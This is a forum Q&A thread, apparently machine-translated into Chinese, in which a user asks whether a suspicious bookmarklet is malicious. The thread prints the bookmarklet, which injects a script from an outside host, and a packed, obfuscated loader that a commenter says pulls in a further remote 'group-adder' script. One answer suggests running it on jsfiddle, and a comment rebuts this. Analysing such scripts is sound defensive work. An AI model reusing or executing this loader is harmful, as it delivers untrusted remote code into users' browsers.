2013-04-09 211 views
1

有些人要求我執行我的瀏覽器中執行以下操作:這個javascript代碼是做什麼的?它是惡意的嗎?

javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://xyz.com/new2.js';})(); 

當我下載了new2.js文件來看待它,它包含以下內容:

eval(function(p,a,c,k,e,r) 
{ 
e=function(c) 
{ 
    return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36)) 
} 
; 
if(!''.replace(/^/,String)) 
{ 
    while(c--)r[e(c)]=k[c]||e(c); 
    k=[function(e) 
    { 
    return r[e] 
    } 
    ]; 
    e=function() 
    { 
    return'\\w+' 
    } 
    ; 
    c=1 
} 
; 
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); 
return p 
} 
('1H(1A(p,a,c,k,e,r){e=1A(c){1B(c<a?\'\':e(1I(c/a)))+((c=c%a)>35?1C.1D(c+29):c.1J(36))};1E(!\'\'.1F(/^/,1C)){1G(c--)r[e(c)]=k[c]||e(c);k=[1A(e){1B r[e]}];e=1A(){1B\'\\\\w+\'};c=1};1G(c--)1E(k[c])p=p.1F(1K 1L(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1B p}(\'f G="H%g%u%1%9%1%b%b%c%1%I%J%1%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%v%1%9%u%1%1%1%1%K%L%M%N%O/P%1%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%3%1%1%1%1%1%1%1%1%1%1%1%h%1%9%j%3%1%1%1%1%1%1%1%1%1%1%1%7%w%x%j%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%Q%R%e%4%5%1%1%1%1%1%1%S%T%U%V%W%X%Y%Z%1%1%1%1%1%1%1%1%1%1%1%1%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%3%1%1%1%1%1%1%1%1%1%1%1%7%8%x%j%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8%1%9%y%k/10%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%7%8/6/l%a%4%5%11%g%m%1%9%1%n%b%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%z/6%a%4%5/12/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%z/6%a%4%5/13/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6%a%4%5/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%A%m%1%9%1%n%b%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%7%8/6/l%e%n%b%4%5%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/14%B/6%a%4%5%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/C%a%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%A%g%8/6/l%a%4%5%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/C%15%k/16%a%4%5%4%5%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%h%1%9%y%k/17/18%19%D%w%4%5%3%1%1%1%1%1%1%1%1%1%1%1%h/1a%B%D%m%4%5%3%1%1%1%1%1%1%1%1b%E%1c%1d%3%1%1%1%1%1%1%1%1%1%1%1%1e%E%3%1%1%1%1%1%1%1%1f%3%1%1%1%1%1%1%1%1%1%1%1%v%1%9%1%b%b%3%1%1%1%1%1%1%1%d%1g";f p="1h--1i/1j,1k`q,1l-1m/1n,1o";r="";s="";f t;t=p.1p;1q(i=0;i<t;i++){r+=1r.1s(p.1t(i)^2)}s=1u(r);F.1v.1w(F.1x(\\\'1y\\\')).1z=s;\',1M,1N,\'|1O||1P|1Q|1R|1S|1T|1U|1V|1W|1X|1Y|1Z|20|21|22|23||24|25|26|27|28|2a|2b||2c|2d|2e|2f|2g|2h|2i|2j|2k|2l|2m|2n|2o|2p|2q|2r|2s|2t|2u|2v|2w|2x|2y|2z|2A|2B|2C|2D|2E|2F|2G|2H|2I|2J|2K|2L|2M|2N|2O|2P|2Q|2R|2S|2T|2U|2V|2W|2X|2Y|2Z|30|31|32|33|34|37|38|39|3a|3b|3c|3d|1C|1D|3e|3f|3g|3h|3i|3j|3k\'.3l(\'|\'),0,{}))',62,208,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|String|fromCharCode|if|replace|while|eval|parseInt|toString|new|RegExp|62|98|2631|261B|263|3A|Ubcmft|2631Jg|2631et|264E|2639ubcmfobnf|2633|2631Uifo|2631Foe|2639|var|2631Opu|2631eb|2631Opuijoh|2631Ebub|Dpoubjot|2631ubcmfobnf|2633SFQPSU||Dmfbs|enkripsi|teks|teksasli|panjang|2631rsztus|2631rsz|2631do|2631Jt|2631Ofx|2638et|2631FmtfJg|2639et|Bee|263D|2631fy|document|thisisthemainstringofThisScript|Jg|2638fyqmjdju|2631wbsjbcmf|2638bttjho|2631rvfsz|2631tusjoh|2631up|2631dpoofdu|rsz|2631Dbmm|2631joj|2638jg|2631DPOOFDUJPO|2631opu|2631jojujbmj|7Bfe|2631uifo|2631ep|2631ju|EbubTfu|2631Boe|Spxt|Dpmvnot|Sfnpwf|2639Ofx|EbubUbcmf|PmfEc|PmfEcEbubBebqufs|2639rsz|Gjmm|2631Dbudi|2631Bt|2631Fydfqujpo|2631Uispx|2631Gjobmmz|2631Usz1|jvvr8|hkeq|apgcvkmlq|||ug|amo|epmwr|cffgp|hq|length|for|charCodeAt|unescape|body|appendChild|createElement|script|src|split'.split('|'),0, 
{ 
} 
)) 

試圖之前使用它,我想知道它在我的瀏覽器中執行某些惡意代碼時會發生什麼。我如何解讀發生了什麼?我熟悉JavaScript,但我無法弄清楚這一點。

+3

如果你不知道它做了什麼,並且你不相信它來自的人,那麼解決方案很簡單:不要這樣做。 – 2013-04-09 10:47:54

+0

這看起來像它使用了一個稱爲打包器的混淆器來縮小代碼(告訴tale位:'函數(p,a,c,k,e,r)',但這不是確定的)。通常,您可以用console.log替換第一個eval,以查看要運行的代碼。雖然如果你只是熟悉JS,我不會推薦它。一般規則與電子郵件附件相同。不完全信任發件人或它是什麼?不要嘗試它。 – 2013-04-09 11:00:15

+0

在此處運行代碼:http://deobfuscatejavascript.com並用'document.write'替換去混淆代碼的最後一行顯示,此整個腳本調用另一個腳本,來自'http://jigs-creations.webs.com/ group-adder.js' – Antony 2013-04-09 11:05:43

回答

1

這是和this question相同的腳本嗎?那些回答那裏的人得出這樣的結論:它是惡意代碼,所以最好不要執行它。

編輯 這是不相同的代碼,但共享它的一部分。儘管如此,它仍然是惡意的。

-2

在某種沙盒 - 虛擬機上運行它,或嘗試一些在線JavaScript應用程序,如jsfiddle

惡意代碼通常被編碼到這個亂碼中,不能很清楚地顯示它的真實含義。

+1

我建議不要在jsFiddle中運行它。根據代碼實際做什麼,在瀏覽器中運行它或使用jsFiddle運行它沒有區別。 – 2013-04-09 10:54:42